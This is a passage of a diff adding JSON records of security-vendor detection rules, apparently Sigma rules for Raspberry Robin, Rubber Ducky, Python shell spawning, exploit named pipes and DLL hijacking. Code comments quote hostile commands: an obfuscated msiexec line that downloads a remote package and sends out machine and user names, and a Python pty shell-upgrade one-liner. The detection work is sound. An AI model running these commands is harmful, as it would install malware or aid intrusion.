+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073517Z",
+  "creation_date": "2026-03-23T11:45:34.073520Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073524Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/raspberry-robin/",
+    "https://attack.mitre.org/techniques/T1091/",
+    "https://attack.mitre.org/techniques/T1204/001/",
+    "https://attack.mitre.org/techniques/T1059/003/",
+    "https://attack.mitre.org/techniques/T1218/007/"
+  ],
+  "name": "t1091_raspberry_robin_worm.yml",
+  "content": "title: Raspberry Robin Worm Detected\nid: 26c1301c-7b9e-4251-8587-45925cd3e0b6\ndescription: |\n    Detects the initial access phase of the Raspberry Robin Worm.\n    Raspberry Robin is a Windows worm that is known to spread through USB drives.\n    It is also known as QNAP worm as it uses compromised QNAP devices in its C2 infrastructure.\n    The initial access usually features a malicious LNK file (Windows shortcut), present on a USB drive that launches cmd.exe to executes msiexec.exe to finally download and execute a remote MSI package.\n    Another variant launches cmd.exe to read a second file present in the same location, with a random name, that itself executes msiexec.exe to download and execute a remote MSI package.\n    It is recommended to analyze child processes to determine if the installation of the MSI package was successful, and to take contact with the end user in order to clean the infected USB drive.\nreferences:\n    - https://redcanary.com/blog/raspberry-robin/\n    - https://attack.mitre.org/techniques/T1091/\n    - https://attack.mitre.org/techniques/T1204/001/\n    - https://attack.mitre.org/techniques/T1059/003/\n    - https://attack.mitre.org/techniques/T1218/007/\ndate: 2022/07/15\nmodified: 2025/03/06\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.lateral_movement\n    - attack.t1091\n    - attack.execution\n    - attack.t1204.001\n    - attack.t1059.003\n    - attack.defense_evasion\n    - attack.t1218.007\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Worm.RaspberryRobin\n    - classification.Windows.Behavior.USB\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_msiexec:\n        Image|endswith: '\\msiexec.exe'\n        ParentImage|endswith: '\\cmd.exe'\n        CommandLine: 'msiexec*http://*:8080/*'\n        CurrentDirectory: '?:\\'\n\n    selection_cmd:\n        Image|endswith: '\\cmd.exe'\n        ParentImage|endswith: '\\explorer.exe'\n        CommandLine|contains:\n            - 'cmd.exe*/c'\n            - 'cmd.exe*/r'\n\n    # C:\\Windows\\System32\\cmd.exe /V/c st^A^R^T ^M^S^Ie^x^e^c /q/IHTTP://3E.PM:8080/tZWBunxueJ4/!COMPuterNAME!=!uSErnaMe!\n    selection_cmd_v1_msiexec:\n        CommandLine|contains:\n            - 'msiexec'\n            - '*^*^*^*'\n    selection_cmd_v1_port:\n        CommandLine|contains: ':8080'\n    selection_cmd_v1_env:\n        CommandLine|contains:\n            - '!COMPuterNAME!'\n            - '%COMPuterNAME%'\n\n    # C:\\Windows\\System32\\cmd.exe /C TypE ZxYLR.lng|C:\\windows\\system32\\cmd.exe\n    selection_cmd_v2:\n        CommandLine|contains:\n            - '!COmsPEc!<'\n            - 'cMd<'\n            - 'type*|*'\n\n    condition: selection_msiexec or (selection_cmd and (all of selection_cmd_v1_* or selection_cmd_v2))\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "26c1301c-7b9e-4251-8587-45925cd3e0b6",
+  "rule_name": "Raspberry Robin Worm Detected",
+  "rule_description": "Detects the initial access phase of the Raspberry Robin Worm.\nRaspberry Robin is a Windows worm that is known to spread through USB drives.\nIt is also known as QNAP worm as it uses compromised QNAP devices in its C2 infrastructure.\nThe initial access usually features a malicious LNK file (Windows shortcut), present on a USB drive that launches cmd.exe to executes msiexec.exe to finally download and execute a remote MSI package.\nAnother variant launches cmd.exe to read a second file present in the same location, with a random name, that itself executes msiexec.exe to download and execute a remote MSI package.\nIt is recommended to analyze child processes to determine if the installation of the MSI package was successful, and to take contact with the end user in order to clean the infected USB drive.\n",
+  "rule_creation_date": "2022-07-15",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.initial_access",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.003",
+    "attack.t1091",
+    "attack.t1204.001",
+    "attack.t1218.007"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "26e920bb-9a9a-4152-928d-5311c16f01bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079771Z",
+  "creation_date": "2026-03-23T11:45:34.079773Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079778Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/",
+    "https://attack.mitre.org/techniques/T1036/005/"
+  ],
+  "name": "t1036_005_executable_in_spooldriverscolor.yml",
+  "content": "title: Executable Created in Spool Drivers Color Folder\nid: 26e920bb-9a9a-4152-928d-5311c16f01bd\ndescription: |\n    Detects the creation of an executable binary image in a system folder where none are expected.\n    Creating an executable file in a system folder might help an attacker masquerading malicious files by matching a legitimate location.\n    It is recommended to check the created binary for malicious content as well as to analyze the process responsible for its creation.\nreferences:\n    - https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/\n    - https://attack.mitre.org/techniques/T1036/005/\ndate: 2023/12/18\nmodified: 2025/02/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.005\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: file_create\ndetection:\n    selection:\n        Path|startswith: '?:\\Windows\\System32\\spool\\drivers\\color\\'\n        Path|endswith:\n            - '.exe'\n            - '.dll'\n\n    condition: selection\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "26e920bb-9a9a-4152-928d-5311c16f01bd",
+  "rule_name": "Executable Created in Spool Drivers Color Folder",
+  "rule_description": "Detects the creation of an executable binary image in a system folder where none are expected.\nCreating an executable file in a system folder might help an attacker masquerading malicious files by matching a legitimate location.\nIt is recommended to check the created binary for malicious content as well as to analyze the process responsible for its creation.\n",
+  "rule_creation_date": "2023-12-18",
+  "rule_modified_date": "2025-02-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "26efcff1-93ff-4550-9246-dddf15ede926",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619551Z",
+  "creation_date": "2026-03-23T11:45:34.619553Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619557Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1176/"
+  ],
+  "name": "t1176_safari_extension_modified.yml",
+  "content": "title: Safari Extension File Modified\nid: 26efcff1-93ff-4550-9246-dddf15ede926\ndescription: |\n    Detects a Safari extension file being modified.\n    Attackers can modify Safari extension files to add malicious code to extensions and establish a persistence, inject ads into the browser or spy on browsing activities.\n    It is recommended to investigate the process that did the modification and the integrity of the extensions to determine whether this action was legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1176/\ndate: 2024/07/03\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1176\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Persistence\n    - classification.macOS.Behavior.SensitiveInformation\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_files:\n        Path: '/Users/*/Library/Containers/com.apple.Safari/Data/Library/Safari/AppExtensions/*'\n        Kind: 'write'\n        ProcessImage|contains: '?'\n\n    filter_safari:\n        Image: '/System/Volumes/Preboot/Cryptexes/App/System/Applications/Safari.app/Contents/MacOS/Safari'\n\n    condition: all of selection_* and not 1 of filter_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "26efcff1-93ff-4550-9246-dddf15ede926",
+  "rule_name": "Safari Extension File Modified",
+  "rule_description": "Detects a Safari extension file being modified.\nAttackers can modify Safari extension files to add malicious code to extensions and establish a persistence, inject ads into the browser or spy on browsing activities.\nIt is recommended to investigate the process that did the modification and the integrity of the extensions to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2024-07-03",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1176"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "26f3225f-e97c-4c1e-8781-b63cca885d13",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092083Z",
+  "creation_date": "2026-03-23T11:45:34.092085Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092089Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sciencedirect.com/science/article/pii/S2666281721000986",
+    "https://securelist.com/darkvishnya/89169/",
+    "https://attack.mitre.org/techniques/T1091/",
+    "https://attack.mitre.org/techniques/T1200/"
+  ],
+  "name": "t1200_rubber_ducky_usage.yml",
+  "content": "title: Rubber Ducky Malicious USB Key Detected\nid: 26f3225f-e97c-4c1e-8781-b63cca885d13\ndescription: |\n    Detects an entry in the USBSTOR registry associated with default configured Rubber Ducky devices.\n    Rubber Ducky is a physical media payload platform that can deploy payloads after insertion on a computer.\n    Once plugged into a computer, custom payloads can be used to perform malicious activities\n    It is recommended to conduct a forensic investigation to see if files were exfiltrated or other malicious actions were taken.\n    The sciencedirect article in the references may help indicate what artifacts might be generated.\nreferences:\n    - https://www.sciencedirect.com/science/article/pii/S2666281721000986\n    - https://securelist.com/darkvishnya/89169/\n    - https://attack.mitre.org/techniques/T1091/\n    - https://attack.mitre.org/techniques/T1200/\ndate: 2023/03/21\nmodified: 2025/04/01\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1200\n    - attack.t1091\n    - classification.Windows.Source.Registry\n    - classification.Windows.HackTool.RubberDucky\n    - classification.Windows.Behavior.USB\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|contains: 'SYSTEM\\CurrentControlSet\\Enum\\USBSTOR\\\\*Ducky_Storage'\n\n    condition: selection\nlevel: critical\n# level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "26f3225f-e97c-4c1e-8781-b63cca885d13",
+  "rule_name": "Rubber Ducky Malicious USB Key Detected",
+  "rule_description": "Detects an entry in the USBSTOR registry associated with default configured Rubber Ducky devices.\nRubber Ducky is a physical media payload platform that can deploy payloads after insertion on a computer.\nOnce plugged into a computer, custom payloads can be used to perform malicious activities\nIt is recommended to conduct a forensic investigation to see if files were exfiltrated or other malicious actions were taken.\nThe sciencedirect article in the references may help indicate what artifacts might be generated.\n",
+  "rule_creation_date": "2023-03-21",
+  "rule_modified_date": "2025-04-01",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1091",
+    "attack.t1200"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2715e350-aa40-44bd-a017-64f55682d234",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613474Z",
+  "creation_date": "2026-03-23T11:45:34.613477Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613485Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wiki.zacheller.dev/pentest/privilege-escalation/spawning-a-tty-shell",
+    "https://attack.mitre.org/techniques/T1059/006/"
+  ],
+  "name": "t1059_006_interactive_shell_python_linux.yml",
+  "content": "title: Interactive Shell Spawned via Python (Linux)\nid: 2715e350-aa40-44bd-a017-64f55682d234\ndescription: |\n    Detects different suspicious usages of Python that are related to interactive shells.\n    Attackers sometimes obtain a simple reverse shell without having a TTY, which limits interactions with the system.\n    To launch utilities like su or sudo, the attacker needs an interactive shell.\n    It is recommended to investigate the process performing starting the shell to look for malicious content or actions as well as to look for other suspicious behavior in this user session or actions stemming from the shell.\nreferences:\n    - https://wiki.zacheller.dev/pentest/privilege-escalation/spawning-a-tty-shell\n    - https://attack.mitre.org/techniques/T1059/006/\ndate: 2022/07/01\nmodified: 2025/01/17\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.006\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Script.Python\n    - classification.Linux.Behavior.Exploitation\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    # python -c 'import pty; pty.spawn(\"/bin/sh\")'\n    selection_command:\n        CommandLine|contains|all:\n            - 'python'\n            - 'import pty'\n            - ';'\n            - '.spawn('\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2715e350-aa40-44bd-a017-64f55682d234",
+  "rule_name": "Interactive Shell Spawned via Python (Linux)",
+  "rule_description": "Detects different suspicious usages of Python that are related to interactive shells.\nAttackers sometimes obtain a simple reverse shell without having a TTY, which limits interactions with the system.\nTo launch utilities like su or sudo, the attacker needs an interactive shell.\nIt is recommended to investigate the process performing starting the shell to look for malicious content or actions as well as to look for other suspicious behavior in this user session or actions stemming from the shell.\n",
+  "rule_creation_date": "2022-07-01",
+  "rule_modified_date": "2025-01-17",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "27307b04-0bed-4d72-9cc9-015aa8b5ae49",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608164Z",
+  "creation_date": "2026-03-23T11:45:34.608168Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608175Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-lua-settings-enablelua"
+  ],
+  "name": "t1559_suspicious_named_pipes_created.yml",
+  "content": "title: Suspicious Named Pipe Created\nid: 27307b04-0bed-4d72-9cc9-015aa8b5ae49\ndescription: |\n    Detects creation of a suspicious named pipe used by attackers.\n    This named pipe has been used by attackers in real situations and it is related with malicious code.\n    It is recommended to investigate the process that created the named pipe to determine its legitimacy.\nreferences:\n    - https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-lua-settings-enablelua\ndate: 2022/07/26\nmodified: 2022/08/22\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.execution\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: named_pipe_creation\n    product: windows\ndetection:\n    selection:\n        PipeName:\n            # https://github.com/klinix5/InstallerFileTakeOver/blob/361612e69a91663890030a892805e58abdf2316c/InstallerFileTakeOver/InstallerFileTakeOver.cpp#L354\n            # InstallerFileTakeOver Custom variant 1 (inlined) - https://bazaar.abuse.ch/sample/f181b8ae88f6c657c3ec3d1d5e8420fbf340c543b3d9292947ae035e3591b664/\n            # InstallerFileTakeOver Custom variant 3 - https://bazaar.abuse.ch/sample/1fe63ba4b112edf2e4ec228ae95db0a3867cfbb6d48c1c19857f7d76f29f066e/\n            - '\\ExploitPipe'\n            # InstallerFileTakeOver Custom variant 2 - https://bazaar.abuse.ch/sample/f285006661a7c47aab70034566a3f1daf6ea7d09d31ed85303d45f5f8d3c67fd/\n            - '\\KartoffelPipe'\n            # https://github.com/itm4n/PrintSpoofer\n            - '\\\\????????-????-????-????-????????????\\pipe\\spoolss'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "27307b04-0bed-4d72-9cc9-015aa8b5ae49",
+  "rule_name": "Suspicious Named Pipe Created",
+  "rule_description": "Detects creation of a suspicious named pipe used by attackers.\nThis named pipe has been used by attackers in real situations and it is related with malicious code.\nIt is recommended to investigate the process that created the named pipe to determine its legitimacy.\n",
+  "rule_creation_date": "2022-07-26",
+  "rule_modified_date": "2022-08-22",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "273e1ddd-3128-495b-975e-62a3a45e4542",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097349Z",
+  "creation_date": "2026-03-23T11:45:34.097352Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097356Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_systemsettingsadminflows.yml",
+  "content": "title: DLL Hijacking via systemsettingsadminflows.exe\nid: 273e1ddd-3128-495b-975e-62a3a45e4542\ndescription: |\n    Detects potential Windows DLL Hijacking via systemsettingsadminflows.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'systemsettingsadminflows.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\AppXDeploymentClient.dll'\n            - '\\Bcp47Langs.dll'\n            - '\\DEVRTL.dll'\n            - '\\DismApi.DLL'\n            - '\\DNSAPI.dll'\n            - '\\dui70.dll'\n            - '\\FirewallAPI.dll'\n            - '\\fwbase.dll'\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\newdev.dll'\n            - '\\PROPSYS.dll'\n            - '\\samcli.dll'\n            - '\\SspiCli.dll'\n            - '\\StateRepository.Core.dll'\n            - '\\SystemSettingsThresholdAdminFlowUI.dll'\n            - '\\timesync.dll'\n            - '\\USERENV.dll'\n            - '\\WINBRAND.dll'\n            - '\\wkscli.dll'\n            - '\\Wldp.dll'\n            - '\\WTSAPI32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "273e1ddd-3128-495b-975e-62a3a45e4542",
+  "rule_name": "DLL Hijacking via systemsettingsadminflows.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via systemsettingsadminflows.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "275861d7-b2ec-4257-ae50-654b26b72c18",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094936Z",
+  "creation_date": "2026-03-23T11:45:34.094938Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094942Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1087/"
+  ],
+  "name": "t1087_001_read_account_plist_macos.yml",
